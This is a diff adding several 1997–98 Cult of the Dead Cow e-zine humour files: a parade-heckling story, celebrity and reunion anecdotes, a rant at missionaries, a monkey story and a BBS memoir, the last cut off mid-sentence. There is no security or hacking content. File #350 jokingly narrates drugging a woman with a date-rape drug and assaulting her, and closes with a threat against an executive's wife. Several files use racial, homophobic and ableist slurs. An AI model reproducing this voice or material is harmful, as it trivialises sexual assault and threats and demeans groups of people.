diff --git a/textfiles.com/groups/CDC/cDc-0345.txt b/textfiles.com/groups/CDC/cDc-0345.txt new file mode 100644 index 00000000..ee999e8b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0345.txt @@ -0,0 +1,175 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... A Day off for DrunkFux + by DrunkFux + 10/31/1997-#345 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +Get back to town and spend the night at my friend's house 'cause he lives +right next to the airport. Next morning, stupid Jesus ho knocks on the +door and hands out flyers for that afternoon's "Walking Towards The Lord" +extravaganza. It talks about a "parade for Jesus" and all this other +crap and in unison we all agree... "We're there!" + +No surprise, my friends are punk as fuck, and one of them happens to be +the manager of a local art supply store. With a plethora of tools at our +disposal, we set forth on our mission of chaos. + +We arrive and things are just starting to swing. There are literally +thousands of people on either side of the road, all of them total honky +ass, white suburbanite Jesus lamers. Needless to say, we stood out like +Don King at a KKK rally and it didn't take long for people to start +staring. We were all already laughing our asses off with sheer ecstasy +over our creations. Some head church bitch, complete with gay nametag +comes up and asks if we're from the neighborhood. When my friend answers +"Yes", she says, "I don't believe I know you," and he responds with, +"You will." A few moments later, she's about 2 blocks away. + +Parade starts. Everybody is now gayer than ever and starts cheering for +the Lord or whatever. First few minutes are completely lame, not even +a tad bit humorous. I was surprised because this is an annual event +that typically rakes in a couple of "well knowns". This year, the flyer +mentioned Houston Oilers and Astros players as well as a flurry of other +local wanky rejects, but for the first 10 minutes or so, we were quite +unenthused. + +After a few cars full of old people passed, we could see a marching band +approaching in the distance. As it got closer, we could read the banner +leading the way : FIRST BAPTIST FAMILY BAND - STAYING AND PLAYING TOGETHER +IN THE NAME OF JESUS CHRIST. It seemed to be comprised of kids aged 12 +to 17 and their parents. Way stupid. Some of the parents weren't even +playing an instrument, they were waving or blowing bubbles or trying to +validate their worthless existence by doing shit like holding the triangle +while their socially retarded kid banged on it. Truly pathetic. We figured +now was the time to display our artistic masterpieces. + +Up came the signs. + +As the marching band drew nearer to where we were (on top of a term box, +putting us a foot or two above the crowd), they were greeted with the usual +array of cheers and waves, but this time, they got something extra: + + SATAN + IS + LORD! + + + JESUS + WAS A + HOMO! + + + NOAH'S ARK = + BEASTIALITY + BOAT! + + + NOAH + FUCKED + MONKEYS! + + + cDc: + + WE'VE COME + FOR YOUR + CHILDREN + + + LORD SATAN + ROCKS + MY ASS! + + + KILL + WHITEY + + + GOD IS + GAY! + + +I think that was all of them. We had made about 4 signs, all on neon +yellow and green poster board, and painted on both sides. So, there we +are, in the middle of all these fuckheads, laughing hysterically while +waving our signs and shouting out whatever wonderful merriment came to +mind. All this whilst our friend Shawn hurled out delightful German +sayings via his father's megaphone. Most of the people were in complete +and utter shock. Some people, especially the teenage boys in the marching +band, thought we were fucking hilarious and couldn't control their +laughter. A group of fashion senseless skaters came running up proclaiming +how "awesome" and "fucking kick ass" we were and started jumping up and +down trying to blend in as part of our now "rad" group. Most of the people +around us quickly moved elsewhere. + +We lasted a lot longer than I expected. I originally figured it wouldn't +take long for some of the macho parade watchers to fuck with us, but I +believe most everybody there was honestly scared to death of us and took +it all way too seriously. The whole megaphone thing probably helped +seal that. I guess the police finally showed up 10 minutes after we +started our revelation. I thought for sure we were either going to get +the shit kicked out of us or get arrested, but as the officers approached +us (both male, one hispanic and the other black) my friend looks at them +and goes "Yeah! Yeah! Right on, brother!" and proceeds to jump up and down +with the "KILL WHITEY" sign proudly displayed. They both almost died +laughing and after a trip to the side of the building and a brief talking +to, we were told to "go far away" for a few hours. It's worth mentioning +that the crowd cheered when the police walked us away from the parade +because the police left before we did and we had to walk through the +parade watchers in order to get to the car, signs and slogans held high +with shouts of victory and German death calls to boot. + +Yeah, it pretty much rocked, to say the least. It has become quite +difficult to remember the last time I laughed so hard that I had severe +chest pains for almost a week. In a last ditch effort to annoy society, +we decided to make our exit by driving through the parade route, signs +out the windows and megaphone on 11. + +The lame part was we got absolutely NO press coverage out of this. The +douchebag cameraman from our local ABC station thought we ruled but +wouldn't film us. The local station that taped and then aired the +parade did a wonderful job of keeping us out of the final product. If +I could have paid someone to film us, I would have because I probably +could have sold a billion copies of the footage. + +It was a decent way to kill a few hours on a Saturday afternoon at least. + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1997 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + diff --git a/textfiles.com/groups/CDC/cDc-0346.txt b/textfiles.com/groups/CDC/cDc-0346.txt new file mode 100644 index 00000000..2f186207 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0346.txt @@ -0,0 +1,83 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Man With The Creosote Grin + by Oxblood Ruffin + 2/15/1998-#346 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +Years ago I worked at the United Nations. One day -- I think it was in +early May -- I was eating lunch in the gardens at the north end of the UN +complex. It was one of the first best days of spring; more like summer +weather. The sun was ricocheting off of the East River and a dull breeze +carried the scent of fresh grass over the arbors. As I was beginning to +get lost in the moment a long-legged woman stopped an enormous pram on the +walkway in front of me. For some reason I didn't associate a gorgeous, +well upholstered woman with motherhood. The pram was so exaggerated -- like +an overdone fashion accessory -- that I had to look inside at the baby. So +I did the little go-goo wave and made the "What a cute little baby" noise. + +Mom smiled and made no effort to continue so I stuck my head back into the +pram and continued wiggling my fingers. I wasn't so interested in the +infant as I was in the combined babe/carriage combo. I think it was a +symptom of how bored I must have been with my work that I wanted to extend +any moment that was different or interesting. And as I continued to +stupefy the baby with my antics I heard this, "Hoy, whatter you doin' wif +my baby?" And up out of nowhere lurches Keith Richards like a wobbling +goblin waving an immense swagger stick with a silver-skull grip the size +of a softball. Normally the sound of a pissed off heroin addict raging in +my face would give me a moment of pause. But all I could think of was, +"This is Keith Richards. It's Keith Richards and he's yelling at me. This +is so cool." + +I figured that my brush with the rust man was only going to last a moment +or more, so there was no way I wanted to waste time answering questions +about his baby. I blurted out, "When are you gonna do a solo album. I +loved the shit you did on _Exile on Main Street_," which jonesed the old +boy right down. He broke out a smirk and said that he was in the process +of demo-ing some stuff for an album, at which point Madam Richards cleared +her throat to indicate that it was time to move along. And off he strutted +without any futher acknowledgment, like a character out of a Dickens novel +with his wife and her demure vehicle in tow. The day brightened and world +peace didn't seem so far away. It's funny what some sun and a world class +junkie can do for your attitude. + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + diff --git a/textfiles.com/groups/CDC/cDc-0347.txt b/textfiles.com/groups/CDC/cDc-0347.txt new file mode 100644 index 00000000..0e096edb --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0347.txt @@ -0,0 +1,105 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... SPANK MY MONKEY + (Dedicated to White Knight, our Monkey Boy) + by Lady Carolin + 2/15/1998-#347 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +Benny good monkey. +Benny like play Lisa. Benny like learn. Learn signs. Learn computer. +Benny learn make pictures. +Benny play. +Lisa come? Lisa come? +Benny sit. + +Lisa come. Lisa bring cookie. Benny good monkey. +Benny like cookie. Benny eat cookie. Want cookie. More cookie. + +Lisa play Benny. Benny learn computer. Benny make pictures. Lisa make pictures. +Lisa sign. Benny sign. Good monkey. + +Benny run. Benny play. Jump jump. Run. +Benny falldown. Benny hurt. +Lisa kiss Benny. +More kiss. + +Lisa look picture. Benny look picture. Lisa sign. +Benny sign good picture horse. Good picture kitty. Benny want play kitty. +Lisa look picture. Benny look picture. Lisa sign. +Benny sign good picture baby. Benny want play baby. +Lisa sign kiss baby. + +Lisa go. Nightnight. Benny go sleep. +Benny good monkey. Byebyebye Lisa. +Benny sleep. + +Lisa come. Benny eat banana. More banana good banana. +Benny learn. More learn. +Lisa play Benny. Benny make pictures. Lisa make pictures. More signs. + +Benny run. Benny sit. Benny make mess. Monkey smell. +Lisa sign. Bad monkey. + +Lisa go. Nightnight. Benny kiss Lisa. Lisa kiss Benny. Benny good monkey. +Byebyebye Lisa. +Benny sleep. + +Lisa come. Lisa bring Lisa baby. +Monkey no touch! +Lisa play baby. Baby laugh. Lisa kiss baby. Lisa sign baby. + +Benny want play baby. +Benny kiss baby. Baby cry. Baby cry! +Benny sign. Benny want baby sign. Make pictures baby. + +Baby smell. Baby mess? + +Benny bite baby. Baby cry. +Benny bite baby. More bite. +Baby falldown. Baby hurt. +Baby sleep. + +Lisa cry. Lisa cry! +Benny bad! Bad monkey. BAD MONKEY!! + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + diff --git a/textfiles.com/groups/CDC/cDc-0348.txt b/textfiles.com/groups/CDC/cDc-0348.txt new file mode 100644 index 00000000..ec902237 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0348.txt @@ -0,0 +1,128 @@ + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... When Cults Collide + + by The Nightstalker + 2/15/1998-#348 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + + +For some reason, the Mormons (see cDc #275) are all OVER Jamaica Plain like +white on rice. + +Which is odd, due to the large Black (Baptist/Protestant), Latino (Catholic), +Haitian (Catholic/Voudoun/Santaria), and Russian (Christian/Jewish) +populations. (Then there's the huge lesbian presence in JP. It's like a +Dykes To Watch Out For strip come to life at times.) + +J.P. is not what I'd call user-friendly to the Mormons, yet, there are +times that you'll see the bus full of them, as they go off on their +missionary jaunts. + +And when in downtown Boston, around Boylston and Newbury Streets, the damned +Scientologists are trolling for suckers. + +It had been a _long_ stupid day for me. It had been my turn in the barrel +answering the hundreds of emails to cDc we get a day, mainly from lame little +wannabes who wish to enjoy the heady status of the Cult, but won't +(more likely) can't pull the weight required of a Cultee. The worst are +the jerks who email stupid things along the lines of "Please fuck up this +guy's AOL account for me. He dissed me at school yesterday. Oh, and can I +be a member?" Yeah, I'll get right on it, after Naomi Campbell finishes +giving me my daily blowjob. + +So you can understand why I was in a bad mood and wasn't paying attention, +when I got sandbagged by a Mormon missionary tag team of "elders" +(Elders my ass. I am quite literally old enough to have fathered practically +all of these missionaries!) at the bus stop. + +I tried to be polite, I tried to tell them nicely that I wasn't interested. +But no, they kept at me. I finally had to point out the cDc talisman +around my neck. + +"Look, you see this bovicon? This pewter skull? This necrotic cow icon? +Don't they teach you ANYTHING in Missionary School? You see this cDc logo +anywhere on a person and you should just turn tail and RUN, thanking Moroni +that you weren't NOTICED by the Master Hacker who was sporting that +cow skull!" + +"The last time I had to deal with you yahoos, when I was finished, they were +covered in pigs blood, had 666 tattooed on their foreheads, kick me signs +on their backs and mainlining JOLT to keep the caffeine buzz on! They +renounced their so-called faith, burned their Temple Garb RIGHT THERE IN +THE STREET and joined up with the K-k0w Force on the spot! Last +I heard, they were selling crack to the Taleban, Christian babies to the +Elders of Zion, and peddling pictures of Mother Theresa fucking a donkey +over the Internet." + +"They swiped the Golden Tablets right out of the Tabernacle, sold 'em down +Tijuana way, bought a TON of coke and snorted it all in ONE NIGHT!" + +"I AM the Corruptor, The Defiler, The Heretic, that your Elders warned you +about! I blow my nose on the Bible and wipe my ass with the Koran. I clean +up my dog's crap with the Book of Mormon and make paper airplanes from the +Talmud!" + +"Satan ain't coming to Earth while I'm around and Cthulu has nightmares +about me! I AM the very Wal-Mart of Sin and Corruption and I'm coming to +YOUR town! The Anti-Christ won't even fetch his own paper off the front +lawn, for fear of running into me! I sold Jim Jones the Kool Aid and David +Koresh used MY Zippo to light the fire at Waco. Aum ShinRikyo heard I was +in Tokyo and launched a pre-emptive strike. Heaven's Gate read the cDc files, +realized they were NEVER going to be anywhere NEAR as cool and hip as cDc +and offed themselves to atone for their SIN OF LAMENESS!" + +"And I'm just a measley newcomer to the Cult. You better not even +be in the same STATE with Grandmaster Ratte` or Deth Veggie, or there will +literally be HELL TO PAY!!! And you don't EVER want to know about the unspeakable activities at The L0pht! WHY... Oh, here's my bus. Nice chatting +with you. Have a good day, gentlemen." + +After I got on the bus, I wrote down as much of that extemporanious rant as +I could remember. As I recall, those two 'elders' were looking mighty +shell-shocked as the bus pulled away. I hope they passed along my kind +advice to their fellow missionaries; at any rate they seemed to have been +taking notes. + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + + + + diff --git a/textfiles.com/groups/CDC/cDc-0349.txt b/textfiles.com/groups/CDC/cDc-0349.txt new file mode 100644 index 00000000..3fed6c1b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0349.txt @@ -0,0 +1,160 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... High School Reunion: + The Nardcore Adventures of Reid Fleming + + by Reid Fleming + 2/15/1998-#349 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + + +It just so happens that when I got home last night from the reunion I +took notes. So here goes. + +It's true that as Reid Fleming, World's Toughest Milkman and cDc +plenipotentiary, I have fame, fortune and in the snap of my fingers, I can +have fly-girlies on my jock in any major metropolis. But this story doesn't +take place in a major metropolis. It takes place in Ventura (Oxnard's fairer +sister), after all, and there, I am merely reid fleming, my lowercase self, +a graduate returning after some years. + +I had expected a big, well air-conditioned place, and the overall +atmosphere to be refined. We would sit back, quietly reminisce, and +raise toasts to missing and departed friends. I guess I'm saying I +expected it to be somewhat contemplative. It wasn't. + +When we checked in, the lady at the table tagged us with a huge, +blood-red handstamp that said "Party!", which pretty much set the mood. + +For most everybody, the reunion was a chance to get drunk and dance. I +did neither. In fact, I barely even took two bites of dinner. At the +time, I supposed that my anxiety had eliminated my appetite, but it turns +out I was coming down with a cold. + +Most people were working hard at getting drunk. Getting drunk is usually +not one of my objectives, and especially not that night. And I'm SO GLAD +I didn't bring any drugs. I'd considered bringing some ecstacy with me +and greeting everyone while looped. That would have been bad. Things +were weird enough sober, plus I would've come on to most of the women at +the party. It would've been a bad thing. + +Almost all the guys wore ties. I didn't. Many wore blazers as well. I +didn't. But I was sweating anyway, and a tie would've killed me. So I +didn't feel underdressed. + +Mike Hunt came up and talked to me. He was drunk and looking for +anybody who would recognize him. He spent a year in Chino for an +undisclosed felony. Now he works for Unocal or something. Mike was +the only guy to ask me if I was gay or bi or what. He saw my tongue +piercing, learned that I lived in SF, and put two and two together. I +think other people probably drew the same conclusion, but were too +gutless or polite to come right out and ask me. + +Right after dinner came the awards show, which bordered on demeaning. I +wouldn't want to win a "Least Changed" certificate, for instance. + +About half of my friends from high school were there. That means roughly +7 or 8 people that I actually wanted to talk to. + +I was surprised at how many of my friends were especially happy to see +me. It was gratifying and strange at the same time. I somehow forgot +that in high school I'd earned a reputation for having a bizarre sense of +humor. I'm the same way now, except that my friends have the same taste +in jokes. So my current friends and I are all on the same wavelength. + +It's been a while since I mixed with normal people. Seemed like all of my +current friends are atheists. I heard lots of people talking about their +church, or bible camp, or various ministries. A woman at our table +volunteered to say grace before dinner. It's been a long time. + +Nobody had extracurricular piercings, apparently. Surprising. I'd +always imagined Ventura to be full of trendy people, and piercings are +trendy. But seeing everyone here made me realize how much closer Ventura +is to Omaha than to San Francisco. + +Practically all the hot girls I knew in school are married. And my high +school sweetheart is now gay. + +A photographer took a picture of me and Gabrielle. I'm sure they'll use it, +because I showed my tongue piercing. We would've won "Most Changed", if +there had been one. Me with bleached hair, goatee, and tongue piercing. +Gabrielle as butch dyke. + +Before the reunion, the only thing I was really dreading was having to +meet my ex-girlfriend's husband. But as soon as I saw Gabrielle with her +VERY short hair, slacks, and long sleeve dress shirt buttoned all the +way up, I knew he wouldn't be there. + +Gabrielle is working on a computer animation sequence for some wannabe +digital effects house. What's funny is she's in my domain now. She's at +chapter 4 in the _Renderman Companion_, which I've already read. She +described her graduate thesis to me, and I knew enough to ask if she +plans on using a spline-based or polygon-based modeler. This never +happens between us. I'm always at a disadvantage, but not tonight. It +made her seem even less like my ex-girlfriend. + +An overgeneralization that got repeated often was that everyone lives in +a) Ventura, b) San Diego, or c) San Francisco. This neglects the 8 or 10 +attendees from out of state, and other people who didn't show up. And +quite a few people live in Los Angeles, as you'd expect. + +Yvette Aardman lives in SF. Before I took off, she asked for my business +card and told me that we should hang out. Then she talked about how when +Mark Evans came to town, she took him out to the best bars in town and +fucked him. But he never called her afterwards. Then she reiterated +that we should hang out. Yvette's not half bad looking. + +I drove Stephanie Boyce home, which is good, because I like Stephanie and have +always enjoyed hanging out with her. And it's also good because maybe +people will get the impression we went someplace for a tryst. I want to +keep people guessing. + + +-- Reid Fleming + + +[ Editor's Note: All names have been changed to protect the innocent, the layme +and the slootish. ] + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + + diff --git a/textfiles.com/groups/CDC/cDc-0350.txt b/textfiles.com/groups/CDC/cDc-0350.txt new file mode 100644 index 00000000..308f6ca8 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0350.txt @@ -0,0 +1,103 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Where Have My Heroes Gone? + by KSM + 2/15/1998-#350 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +Dream a little dream with me, friends. Let's imagine that I get my hands on +some of that date rape drug that the kids on 20/20 are so gung-ho about. +Let's keep dreaming. Let's say I find some lonely girl at a popular +twentysomething club, maybe her ride abandoned her or something. I play the +part of the sensitive male and console her with some Boppin' Berry Hi-C with +a little of that date rape drug in there. Let's examine the elements of our +dream, kids. We have a lecherous man with a large quantity of Boppin' Berry +Hi-C, an empty bottle of that date rape drug, and a lonely girl full of +drugs with no ride. I see the seeds of love planted. So I take my lovely +lady back to my house, I give mom the keys to her car, and give in to +passion. We make sweet love until she regains consciousness and runs +screaming. She must've had a dermatologist appointment. Anyways, let's say +she is pregnant. It scares the bejesus out of me that my children will be +growing up in a world without heroes. + +Let's take a trip on a time machine! I remember a time when a young lad of +16 or 17 could spend a Friday playing hopskotch or playing Candy Land, +anything the young people are fond of, and retire to their house to watch a +sweet little program that aired on CBS from 8-9 that preached morality and +the essentials of higher southern culture. Yes, my friends, I'm speaking +of the Dukes of Hazzard. Now I do not condone the running on moonshine, but +who could argue with the concept of spraying crap all over the crooked Boss +Hog in your '71 Charger with no doors? Moonshine is a way of paying the +bills for Bo and Luke Duke, but Boss Hog's twisted, black heart clearly +pumps with the juices of evil. I have never read a case of anyone's +circulatory system functioning with moonshine, but who hasn't picked up the +paper to read a story about Old Man Winters down the street with evil +pumping through his veins? Basically what I'm saying is, moonshine pays the +bills, but evil forces Christian girls into prostitution. Another facet of +morality taught to us by Dukes of Hazzard is the fact that people must be +attractive to make a difference. Boss Hog was an ugly man, he never +amounted to anything. Bo and Luke though, they were quite attractive and +that was why they were the most successful moonshiners in all of Hazzard +County. I remember one thing that Dukes of Hazzard taught me especially. I +learned that incest was ok. The first time I sensed that intense sexual +tension between Daisy and Luke, I knew in my heart of hearts that society +could take its expectations and regulations and shove them right where the +sun doesn't shine. Regulation Shmegulation, I want to have sex with my +cousin. I refuse to accept this "special reunion movie" shit, I want to go +back to Hazzard County where I knew what was right and stay there. Reality +is a harsh pill, but the Dukes always seemed to help wash that pill down +with a little malt liquor. + +This is a call to you, Johnny Broadcasting Corporation. My child could grow +up without the Dukes of Hazzard, and that leaves a funky taste in my mouth. +How is little Jorge going to know morality? I will not allow my sweet Jorge +to define truth and reality: that is how psychopaths and atheists get +started. Jorge should let the TV define right and wrong for him. How will +he ever do this without the Dukes? I won't always be there to raise Jorge, +but I trust that Uncle Jesse, Bo, Luke, and Daisy Duke will. Take me back +to Hazzard County, let's kick Boss Hog's ass. Johnny Broadcasting +Corporation, I know where you live and I know what your wife looks like. + +KSM +Our chimerical visions were especially vivid today. + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Grandmaster Ratte'. __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + diff --git a/textfiles.com/groups/CDC/cDc-0352.txt b/textfiles.com/groups/CDC/cDc-0352.txt new file mode 100644 index 00000000..981740be --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0352.txt @@ -0,0 +1,232 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Remembrance of Things Past + by Pixie + 5/1/1998-#352 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + +So I am now officially deeming this my manifesto. May I also clarify now that +I am almost 16 years old. I reside in the tiny community of Middlesex, NJ +where the kids are homophobic racists and act five years younger than they are. +So basically, you can see why I am such an outcast and why I came into the +Internet. I'm very grateful to have experienced a chunk of the online world +before it was contaminated, much like my offline world. + +I first want to say that I began BBSing when I was 11 years old, calling local +Wildcat and Maximus BBSes, meeting people who were just like me. At first I +was laughed at, being just a little 6th grader and all, and I was even afraid +to talk on the phone (Go figure!) I enjoyed all the typical BBS games, The +Pit, Trade Wars 2001, Barren Realms Elite, and Legend of the Red Dragon (whose +creator, Seth Robinson, sent me a birthday card once - a way wonderful +underground BBS person kinda thrill). + +At first I was accepted as an annoying little gnat because I bothered people +for information. When they finally saw that I'd cause no harm, they took me in +and accepted me. No sooner than later, they realized I was something kind of +special because of my wealth of knowledge and my precociousness, and so, they +named me Brownie. As in the Girl Scouts. + +The world was so good back then. Kids in school thought you were powerful +because you used words like BBS and modem. Today they're common terms except +they are used in a way that most online veterans despise. + +"Do you use online? I have an e-mail address and my own web page! It's way +cyberpunk!" + +Oi vey. + +That's one phrase that pisses me off "Do you use online" as if the whole system +is just called "online". And it really gets to me that nobody respects the +Internet today. People abuse the Internet. Considering I find it easiest to +use a person (Johnny 